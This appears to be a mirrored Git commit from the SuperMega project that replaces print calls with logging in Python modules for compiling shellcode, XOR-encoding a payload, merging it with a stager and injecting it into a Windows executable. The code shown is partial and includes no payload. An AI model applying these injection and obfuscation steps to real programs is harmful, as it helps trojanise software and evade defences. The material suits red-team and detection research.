mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
refactor: better logging
This commit is contained in:
+10
-8
@@ -1,5 +1,6 @@
|
||||
import pefile
|
||||
import pprint
|
||||
import logging
|
||||
|
||||
from model import *
|
||||
from helper import *
|
||||
@@ -7,11 +8,12 @@ from config import config
|
||||
from observer import observer
|
||||
from project import project
|
||||
|
||||
logger = logging.getLogger("Assembler")
|
||||
|
||||
def make_shc_from_asm(asm_file, exe_file, shc_file):
|
||||
print("--[ Assemble to exe: {} -> {} -> {} ]".format(asm_file, exe_file, shc_file))
|
||||
logger.info("--[ Assemble to exe: {} -> {} -> {} ]".format(asm_file, exe_file, shc_file))
|
||||
|
||||
print("---[ Assemble ASM to EXE: {} -> {} ]".format(asm_file, exe_file))
|
||||
logger.info("---[ Assemble ASM to EXE: {} -> {} ]".format(asm_file, exe_file))
|
||||
run_process_checkret([
|
||||
config.get("path_ml64"),
|
||||
asm_file,
|
||||
@@ -20,20 +22,20 @@ def make_shc_from_asm(asm_file, exe_file, shc_file):
|
||||
"/entry:AlignRSP"
|
||||
])
|
||||
if not os.path.isfile(exe_file):
|
||||
print("Error")
|
||||
logger.error("Error")
|
||||
return
|
||||
|
||||
print("---[ EXE to SHC: {} -> {} ]".format(exe_file, shc_file))
|
||||
logger.info("---[ EXE to SHC: {} -> {} ]".format(exe_file, shc_file))
|
||||
code = get_code_section_data(exe_file)
|
||||
with open(shc_file, 'wb') as f:
|
||||
f.write(code)
|
||||
|
||||
return code
|
||||
#print("---[ Shellcode from {} written to: {} (size: {}) ]".format(exe_file, shc_file, len(code)))
|
||||
#logger.info("---[ Shellcode from {} written to: {} (size: {}) ]".format(exe_file, shc_file, len(code)))
|
||||
|
||||
|
||||
def merge_loader_payload(main_shc_file):
|
||||
print("--[ Merge stager: {} + {} -> {} ] ".format(
|
||||
logger.info("--[ Merge stager: {} + {} -> {} ] ".format(
|
||||
main_shc_file, project.payload, main_shc_file))
|
||||
with open(main_shc_file, 'rb') as input1:
|
||||
data_stager = input1.read()
|
||||
@@ -44,10 +46,10 @@ def merge_loader_payload(main_shc_file):
|
||||
pass
|
||||
elif project.decoder_style == DecoderStyle.XOR_1:
|
||||
xor_key = 0x42
|
||||
print("---[ XOR payload with key 0x{:x}".format(xor_key))
|
||||
logger.info("---[ XOR payload with key 0x{:x}".format(xor_key))
|
||||
data_payload = bytes([byte ^ xor_key for byte in data_payload])
|
||||
|
||||
print("---[ Size: Stager: {} and Payload: {} Sum: {} ]".format(
|
||||
logger.info("---[ Size: Stager: {} and Payload: {} Sum: {} ]".format(
|
||||
len(data_stager), len(data_payload), len(data_stager)+len(data_payload)))
|
||||
|
||||
with open(main_shc_file, 'wb') as output:
|
||||
|
||||
+14
-13
@@ -3,16 +3,17 @@ from config import config
|
||||
import os
|
||||
import pprint
|
||||
from observer import observer
|
||||
|
||||
import logging
|
||||
|
||||
from project import project
|
||||
from model import *
|
||||
|
||||
logger = logging.getLogger("Compiler")
|
||||
use_templates = True
|
||||
|
||||
|
||||
def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
|
||||
print("--[ C to ASM: {} -> {} ]".format(c_file, asm_file))
|
||||
logger.info("--[ C to ASM: {} -> {} ]".format(c_file, asm_file))
|
||||
|
||||
asm = {
|
||||
"initial": "",
|
||||
@@ -22,7 +23,7 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
|
||||
}
|
||||
|
||||
# Phase 1: C To Assembly
|
||||
print("---[ Make ASM from C: {} ]".format(c_file))
|
||||
logger.info("---[ Make ASM from C: {} ]".format(c_file))
|
||||
run_process_checkret([
|
||||
config.get("path_cl"),
|
||||
"/c",
|
||||
@@ -32,28 +33,28 @@ def make_c_to_asm(c_file, asm_file, payload_len, capabilities: ExeCapabilities):
|
||||
c_file,
|
||||
])
|
||||
if not os.path.isfile(asm_file):
|
||||
print("Error: Compiling failed")
|
||||
logger.error("Error: Compiling failed")
|
||||
return
|
||||
asm["initial"] = file_readall_text(asm_file)
|
||||
|
||||
# Phase 1.2: Assembly fixup
|
||||
print("---[ Fixup : {} ]".format(asm_file))
|
||||
logger.info("---[ Fixup : {} ]".format(asm_file))
|
||||
if not fixup_asm_file(asm_file, payload_len, capabilities):
|
||||
print("Error: Fixup failed")
|
||||
logger.error("Error: Fixup failed")
|
||||
return
|
||||
else:
|
||||
asm["fixup"] = file_readall_text(asm_file)
|
||||
|
||||
# Phase 1.1: Assembly cleanup
|
||||
asm_clean_file = asm_file + ".clean"
|
||||
print("---[ Cleanup: {} ]".format(asm_file))
|
||||
logger.info("---[ Cleanup: {} ]".format(asm_file))
|
||||
run_process_checkret([
|
||||
config.get("path_masmshc"),
|
||||
asm_file,
|
||||
asm_clean_file,
|
||||
])
|
||||
if not os.path.isfile(asm_clean_file):
|
||||
print("Error: Cleanup filed")
|
||||
logger.info("Error: Cleanup filed")
|
||||
return
|
||||
else:
|
||||
shutil.move(asm_clean_file, asm_file)
|
||||
@@ -91,19 +92,19 @@ def fixup_asm_file(filename, payload_len, capabilities: ExeCapabilities):
|
||||
func_name = lines[idx][lines[idx].find("__imp_")+6:].rstrip()
|
||||
exeCapability = capabilities.get(func_name)
|
||||
if exeCapability == None:
|
||||
print("Error Capabilities not: {}".format(func_name))
|
||||
logger.error("Error Capabilities not: {}".format(func_name))
|
||||
else:
|
||||
randbytes: bytes = os.urandom(6)
|
||||
lines[idx] = bytes_to_asm_db(randbytes) + "\r\n"
|
||||
exeCapability.id = randbytes
|
||||
|
||||
print(" > Replace func name: {} with {}".format(
|
||||
logger.info(" > Replace func name: {} with {}".format(
|
||||
func_name, randbytes))
|
||||
|
||||
# replace external reference with shellcode reference
|
||||
for idx, line in enumerate(lines):
|
||||
if "supermega_payload" in lines[idx]:
|
||||
print(" > Replace external reference at line: {}".format(idx))
|
||||
logger.info(" > Replace external reference at line: {}".format(idx))
|
||||
#lines[idx] = lines[idx].replace(
|
||||
# "mov r8, QWORD PTR supermega_payload",
|
||||
# "lea r8, [shcstart]"
|
||||
@@ -121,14 +122,14 @@ def fixup_asm_file(filename, payload_len, capabilities: ExeCapabilities):
|
||||
# replace payload length
|
||||
for idx, line in enumerate(lines):
|
||||
if "11223344" in lines[idx]:
|
||||
print(" > Replace payload length at line: {}".format(idx))
|
||||
logger.info(" > Replace payload length at line: {}".format(idx))
|
||||
lines[idx] = lines[idx].replace("11223344", str(payload_len))
|
||||
break
|
||||
|
||||
# add label at end of code
|
||||
for idx, line in enumerate(lines):
|
||||
if lines[idx].startswith("END"):
|
||||
print(" > Add end of code label at line: {}".format(idx))
|
||||
logger.info(" > Add end of code label at line: {}".format(idx))
|
||||
lines.insert(idx-1, "shcstart:\r\n")
|
||||
break
|
||||
|
||||
|
||||
+9
-6
@@ -1,18 +1,21 @@
|
||||
from helper import *
|
||||
import shutil
|
||||
import pprint
|
||||
import logging
|
||||
|
||||
from pehelper import *
|
||||
from model import *
|
||||
from project import project
|
||||
|
||||
logger = logging.getLogger("Injector")
|
||||
|
||||
|
||||
def inject_exe(shc_file: FilePath):
|
||||
exe_in: FilePath = project.inject_exe_in
|
||||
exe_out: FilePath = project.inject_exe_out
|
||||
exe_capabilities: ExeCapabilities = project.exe_capabilities
|
||||
|
||||
print("--[ Injecting: {} into: {} -> {} ]".format(
|
||||
logger.info("--[ Injecting: {} into: {} -> {} ]".format(
|
||||
shc_file, exe_in, exe_out
|
||||
))
|
||||
|
||||
@@ -36,13 +39,13 @@ def inject_exe(shc_file: FilePath):
|
||||
code = get_code_section_data(exe_out)
|
||||
for cap in exe_capabilities.get_all().values():
|
||||
if not cap.id in code:
|
||||
print("Capability ID {} not found, abort".format(cap.id))
|
||||
logger.error("Capability ID {} not found, abort".format(cap.id))
|
||||
raise Exception()
|
||||
|
||||
off = code.index(cap.id)
|
||||
current_address = off + exe_capabilities.image_base + exe_capabilities.text_virtaddr
|
||||
destination_address = cap.addr
|
||||
print(" Replace at 0x{:x} with call to 0x{:x}".format(
|
||||
logger.info(" Replace at 0x{:x} with call to 0x{:x}".format(
|
||||
current_address, destination_address
|
||||
))
|
||||
jmp = assemble_and_disassemble_jump(
|
||||
@@ -53,7 +56,7 @@ def inject_exe(shc_file: FilePath):
|
||||
|
||||
|
||||
def verify_injected_exe(exefile):
|
||||
print("---[ Verify infected exe: {} ]".format(exefile))
|
||||
logger.info("---[ Verify infected exe: {} ]".format(exefile))
|
||||
# remove indicator file
|
||||
pathlib.Path(verify_filename).unlink(missing_ok=True)
|
||||
|
||||
@@ -62,11 +65,11 @@ def verify_injected_exe(exefile):
|
||||
], check=False)
|
||||
time.sleep(SHC_VERIFY_SLEEP)
|
||||
if os.path.isfile(verify_filename):
|
||||
print("---> Verify OK. Infected exe works (file was created)")
|
||||
logger.info("---> Verify OK. Infected exe works (file was created)")
|
||||
# better to remove it immediately
|
||||
os.remove(verify_filename)
|
||||
return True
|
||||
else:
|
||||
print("---> Verify FAIL. Infected exe does not work (no file created)")
|
||||
logger.error("---> Verify FAIL. Infected exe does not work (no file created)")
|
||||
return False
|
||||
|
||||
|
||||
+2
-1
@@ -1,6 +1,7 @@
|
||||
from jinja2 import Template
|
||||
import pprint
|
||||
import shutil
|
||||
import logging
|
||||
|
||||
from helper import *
|
||||
from config import config
|
||||
@@ -9,7 +10,7 @@ from model import *
|
||||
from observer import observer
|
||||
|
||||
use_templates = True
|
||||
|
||||
logger = logging.getLogger("Assembler")
|
||||
|
||||
# INPUT:
|
||||
# plugins/
|
||||
|
||||
Reference in New Issue
Block a user